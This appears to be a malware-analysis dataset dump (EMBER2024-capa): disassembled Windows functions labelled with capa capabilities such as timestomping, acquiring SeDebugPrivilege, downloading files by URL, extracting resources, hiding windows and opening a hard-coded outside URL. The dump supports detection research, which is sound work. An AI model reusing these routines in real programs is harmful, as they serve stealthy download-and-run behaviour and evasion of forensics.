joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009da0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push ecx
mov esi, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x10]
push eax
push esi
shr esi, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10009e20
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov edi, esi
lea ecx, [edi + 1]
lea ecx, [ecx]
mov al, byte [edi]
inc edi
test al, al
jne 0x10009e30
sub edi, ecx
test edi, edi
jg 0x10009e45
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 1]
push eax
call fcn.10011c6f
mov edx, eax
mov dword [ebp - 4], eax
add esp, 4
sub edx, esi
jmp 0x10009e60
mov cl, byte [esi]
lea esi, [esi + 1]
mov byte [edx + esi - 1], cl
test cl, cl
jne 0x10009e60
cmp byte [eax + edi - 1], 0x2f
jne 0x10009e78
mov byte [eax + edi - 1], cl
mov edi, dword [ebp - 4]
push edi
call fcn.10025a09
add esp, 4
test eax, eax
jne 0x10009e9c
push edi
call fcn.10011a41
add esp, 4
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea esi, [edi + 1]
push ebx
cmp byte [esi], 0
je 0x10009eb5
mov al, byte [esi]
cmp al, 0x5c
je 0x10009eb5
cmp al, 0x2f
je 0x10009eb5
inc esi
cmp byte [esi], 0
jne 0x10009ea5
mov bl, byte [esi]
push edi
mov byte [esi], 0
call fcn.10025a09
add esp, 4
cmp eax, 0xffffffff
jne 0x10009ed2
call fcn.100148fc
cmp dword [eax], 2
je 0x10009edb
test bl, bl
je 0x10009ef8
mov byte [esi], bl
inc esi
jmp 0x10009ea0
push edi
push str.couldnt_create_directory__s_n
call fcn.10014965
push edi
call fcn.10011a41
add esp, 0xc
xor eax, eax
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call fcn.10011a41
add esp, 4
mov eax, 1
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a410
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x1003a180]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1003328c]
push ebx
push esi
mov dword [ebp - 0x84], eax
mov esi, ecx
mov ax, word [0x10033290]
mov ebx, edx
push 0x7a
mov word [ebp - 0x80], ax
lea eax, [ebp - 0x7e]
push 0
push eax
mov dword [ebp - 0x290], esi
call fcn.1001cf60
add esp, 0xc
test esi, esi
je 0x1000a5f4
cmp word [esi], 0
je 0x1000a5f4
test ebx, ebx
je 0x1000a5f4
push 0x40
lea eax, [ebp - 0x84]
mov edx, str.SOFTWAREISADB
push eax
push str.Langue
call fcn.10009400
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x28c], ax
lea eax, [ebp - 0x28a]
push eax
call fcn.1001cf60
add esp, 0x18
lea ecx, [ebp - 0x28c]
call fcn.1000c350
lea ecx, [ebp - 0x28c]
add ecx, 0xfffffffe
jmp 0x1000a4c0
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x1000a4c0
mov eax, dword [str.Isagent_]
lea edx, [ebp - 0x84]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x10033298]
mov dword [ecx + 4], eax
mov eax, dword [0x1003329c]
mov dword [ecx + 8], eax
mov eax, dword [0x100332a0]
mov dword [ecx + 0xc], eax
mov eax, dword [0x100332a4]
mov dword [ecx + 0x10], eax
jmp 0x1000a500
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1000a500
push edi
lea edi, [ebp - 0x28c]
sub edx, esi
add edi, 0xfffffffe
jmp 0x1000a520
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000a520
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x28c]
add ecx, 0xfffffffe
pop edi
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x1000a544
mov eax, dword [str..unicode]
mov dword [ecx], eax
mov eax, dword [0x100332ac]
mov dword [ecx + 4], eax
mov eax, dword [0x100332b0]
mov dword [ecx + 8], eax
mov eax, dword [0x100332b4]
mov dword [ecx + 0xc], eax
mov ax, word [0x100332b8]
mov word [ecx + 0x10], ax
lea ecx, [ebp - 0x28c]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x1000a582
mov eax, dword [str..langue]
mov esi, dword [ebp - 0x290]
mov dword [ecx], eax
mov eax, dword [0x100332c0]
mov dword [ecx + 4], eax
mov eax, dword [0x100332c4]
mov dword [ecx + 8], eax
mov eax, dword [0x100332c8]
mov dword [ecx + 0xc], eax
lea eax, [ebp - 0x28c]
push eax
push 0x104
push ebx
push esi
push esi
push str.StringMap
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp word [ebx], 0
jne 0x1000a5e2
push 0x104
push esi
push ebx
call fcn.1001299d
add esp, 0xc
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10011984
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.10011984
mov esp, ebp
pop ebp
ret
Function at 0x1000a6a0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x1003a180]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x107]
push 0x103
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.1001cf60
add esp, 0xc
test edi, edi
je 0x1000a791
push esi
push 1
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea eax, [ebp - 0x128]
mov dword [ebp - 0x114], 0xc
push str.LCDEBUG
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x108]
push str.GlobalProcLock__s_Mutex
push eax
mov dword [ebp - 0x10c], 1
call fcn.100139b4
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x1000a77f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1000a778
mov dword [edi], esi
mov eax, 1
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10011984
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10011984
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.10011984
mov esp, ebp
pop ebp
ret

Function at 0x1000c350
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push str.IsWow64Process
push str.kernel32
mov esi, ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000c389
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
cmp dword [ebp - 4], 0
push 0x104
push esi
jne 0x1000c3a1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edx, eax
add esi, 0xfffffffe
lea esp, [esp]
mov cx, word [esi + 2]
lea esi, [esi + 2]
test cx, cx
jne 0x1000c3b0
mov eax, dword [str.SysWOW64]
mov dword [esi], eax
mov eax, dword [0x100333ac]
mov dword [esi + 4], eax
mov eax, dword [0x100333b0]
mov dword [esi + 8], eax
mov eax, dword [0x100333b4]
mov dword [esi + 0xc], eax
mov eax, dword [0x100333b8]
mov dword [esi + 0x10], eax
lea eax, [edx + 9]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000c550
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x1000c55b
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.1000c570
Function at 0x1000e420
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x2c]
mov edi, edi
mov eax, dword [edi + 0x2c]
mov edx, dword [edi + 0x3c]
add eax, 0xfffffefa
sub edx, dword [edi + 0x74]
add eax, esi
sub edx, dword [edi + 0x6c]
mov dword [ebp - 4], edx
cmp dword [edi + 0x6c], eax
jb 0x1000e4ac
mov ecx, dword [edi + 0x38]
push esi
lea eax, [ecx + esi]
push eax
push ecx
call fcn.10012cb0
mov edx, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], esi
sub dword [edi + 0x6c], esi
sub dword [edi + 0x5c], esi
lea ecx, [eax + edx*2]
mov edi, edi
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x1000e47f
sub eax, esi
jmp 0x1000e481
xor eax, eax
mov word [ecx], ax
dec edx
jne 0x1000e470
mov eax, dword [edi + 0x40]
mov edx, esi
lea ecx, [eax + esi*2]
nop
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x1000e49f
sub eax, esi
jmp 0x1000e4a1
xor eax, eax
mov word [ecx], ax
dec edx
jne 0x1000e490
mov edx, dword [ebp - 4]
add edx, esi
mov ebx, dword [edi]
cmp dword [ebx + 4], 0
je 0x1000e5e0
mov eax, dword [edi + 0x74]
add eax, dword [edi + 0x6c]
add eax, dword [edi + 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 4]
cmp eax, edx
mov ecx, eax
cmova ecx, edx
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x1000e4d9
xor eax, eax
jmp 0x1000e52c
sub eax, ecx
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x1000e4f6
mov edx, dword [ebx]
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.1000ef70
jmp 0x1000e50e
cmp eax, 2
jne 0x1000e514
mov edx, dword [ebx]
test edx, edx
jne 0x1000e505
xor eax, eax
jmp 0x1000e511
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.1000c570
add esp, 4
mov dword [ebx + 0x30], eax
push dword [ebp - 4]
push dword [ebx]
push dword [ebp - 8]
call fcn.10012cb0
mov eax, dword [ebp - 4]
add esp, 0xc
add dword [ebx], eax
add dword [ebx + 8], eax
add dword [edi + 0x74], eax
mov ebx, dword [edi + 0x74]
cmp ebx, 3
jb 0x1000e554
mov eax, dword [edi + 0x38]
add eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
movzx edx, byte [eax]
mov dword [edi + 0x48], edx
movzx eax, byte [eax + 1]
shl edx, cl
xor edx, eax
and edx, dword [edi + 0x54]
mov dword [edi + 0x48], edx
cmp ebx, 0x106
jae 0x1000e568
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x1000e430
mov edx, dword [edi + 0x16c0]
mov ecx, dword [edi + 0x3c]
cmp edx, ecx
jae 0x1000e5e0
mov esi, dword [edi + 0x6c]
add esi, ebx
cmp edx, esi
jae 0x1000e5b0
sub ecx, esi
mov eax, 0x102
cmp ecx, eax
cmova ecx, eax
mov eax, dword [edi + 0x38]
push ecx
add eax, esi
mov dword [ebp - 8], ecx
push 0
push eax
call fcn.1001cf60
mov eax, dword [ebp - 8]
add esp, 0xc
add eax, esi
mov dword [edi + 0x16c0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x102]
cmp edx, eax
jae 0x1000e5e0
mov eax, dword [edi + 0x38]
sub esi, edx
sub ecx, edx
add esi, 0x102
cmp esi, ecx
cmova esi, ecx
add eax, edx
push esi
push 0
push eax
call fcn.1001cf60
add esp, 0xc
add dword [edi + 0x16c0], esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40299e
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x4029d2
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x402a46
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4029f4
mov eax, 0x47d2f1
push eax
push 1
mov ebx, 0x25c
call fcn.00458700
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x20
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0xc4
call fcn.00458710
add esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x402a50
mov eax, 0
jmp 0x402a50
mov esp, ebp
pop ebp
ret 4

Function at 0x402a9d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_getsockname
push 0
push dword [ebp + 8]
push 1
mov ebx, 0x9dc
call fcn.00457e50
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x402b05
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x18], 0
jne 0x402b43
cmp dword [ebp - 4], 0
je 0x402b3e
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x402b3e
push 6
call fcn.004518ee
add esp, 4
jmp 0x402b4b
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
cmp dword [ebp - 4], 0
mov eax, 0
setne al
jmp 0x402b5c
mov esp, ebp
pop ebp
ret 0x14
Function at 0x40703d
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
push 8
call fcn.004518e2
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.004518e2
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x10], 0
push 0x10
call fcn.004518e2
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4070ec
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push 8
push 0x80000301
push 0
push 0x20
push 2
mov ebx, 0xc8
call fcn.00457f30
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x407145
push 6
call fcn.004518ee
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 8]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
nop
nop
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x407190
push 6
call fcn.004518ee
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4071a0
push ebx
call fcn.004518e8
add esp, 4
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 8]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov dword [ebp - 0x18], esp
mov eax, 0
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0xc]
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x407234
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x407259
push 6
call fcn.004518ee
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x407261
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.004518e8
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.004518e8
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.004518e8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40d9c1
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push 0
push 0
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x40da02
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
sete al
jmp 0x40da16
mov esp, ebp
pop ebp
ret 8
Function at 0x410b49
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push dword [0x517517]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x410b96
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x410bad
mov eax, 0x47d3d3
jmp 0x410cab
mov dword [ebp - 0x14], esp
push dword [ebp + 8]
push dword [0x517517]
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x410bd5
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x410bec
mov eax, 0x47d3d3
jmp 0x410cab
mov dword [ebp - 0x14], esp
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x410c0e
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x410c25
mov eax, 0x47d3d3
jmp 0x410cab
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x1bc
call fcn.00458840
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410c58
push ebx
call fcn.004518e8
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push dword [ebp - 4]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x410c6f
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x410c8c
push 6
call fcn.004518ee
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x410ca6
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004518e2
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x410cab
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410cbc
push ebx
call fcn.004518e8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4119c1
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ebx, dword [0x517527]
mov dword [ebp - 4], ebx
push 0x47d2f1
mov ebx, dword [ebp - 4]
push dword [ebx]
call fcn.0040215c
add esp, 8
cmp eax, 0
je 0x411a92
mov ebx, dword [0x517527]
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp - 4]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x411a72
push 6
call fcn.004518ee
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x411a82
push ebx
call fcn.004518e8
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x411a92
push ebx
call fcn.004518e8
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x419c0d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ebx, dword [0x517527]
add ebx, 4
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
push dword [ebx]
call fcn.0040215c
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x419c72
push ebx
call fcn.004518e8
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x419d23
mov ebx, dword [0x517527]
add ebx, 4
mov dword [ebp - 4], ebx
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 8], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 1
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp - 4]
push dword [ebx]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x419d03
push 6
call fcn.004518ee
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x419d13
push ebx
call fcn.004518e8
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x419d23
push ebx
call fcn.004518e8
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x41dafe
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41db2e
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
mov eax, 0
setne al
jmp 0x41db42
mov esp, ebp
pop ebp
ret 4

Function at 0x41db92
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [0x5175f7], 0
jle 0x41dbca
cmp dword [0x5175e3], 0
jle 0x41dbca
mov eax, 1
jmp 0x41dbcc
xor eax, eax
test eax, eax
je 0x41dca4
push 1
push dword [0x5175f7]
call fcn.0041dcaa
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jne 0x41dc8b
push 0x5175f3
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
lea eax, [ebp - 8]
push eax
call fcn.00401b7a
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
push dword [0x5175e3]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x41dc31
push 6
call fcn.004518ee
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x41dc77
mov dword [ebp - 0xc], esp
push dword [0x5175e3]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41dc63
push 6
call fcn.004518ee
add esp, 4
mov dword [0x5175e3], 0
mov dword [0x5175f7], 0
push 0x5175f3
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
jmp 0x41dca4
cmp dword [ebp - 4], 0
jne 0x41dca4
push 0x51768b
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41ed6f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x200
push 1
mov ebx, 0x184
call fcn.00457f50
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41edb4
push ebx
call fcn.004518e8
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040d878
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0x200
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41edf3
push 6
call fcn.004518ee
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x41ee0f
push eax
mov ebx, eax
call fcn.00401113
inc eax
push eax
call fcn.004518e2
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41ee14
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41ee25
push ebx
call fcn.004518e8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x41ee82
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00457f90
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 1
push dword [ebp - 8]
push dword [ebp - 4]
push str.http:__www.yhmoyu.com:88_
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41ef06
push 6
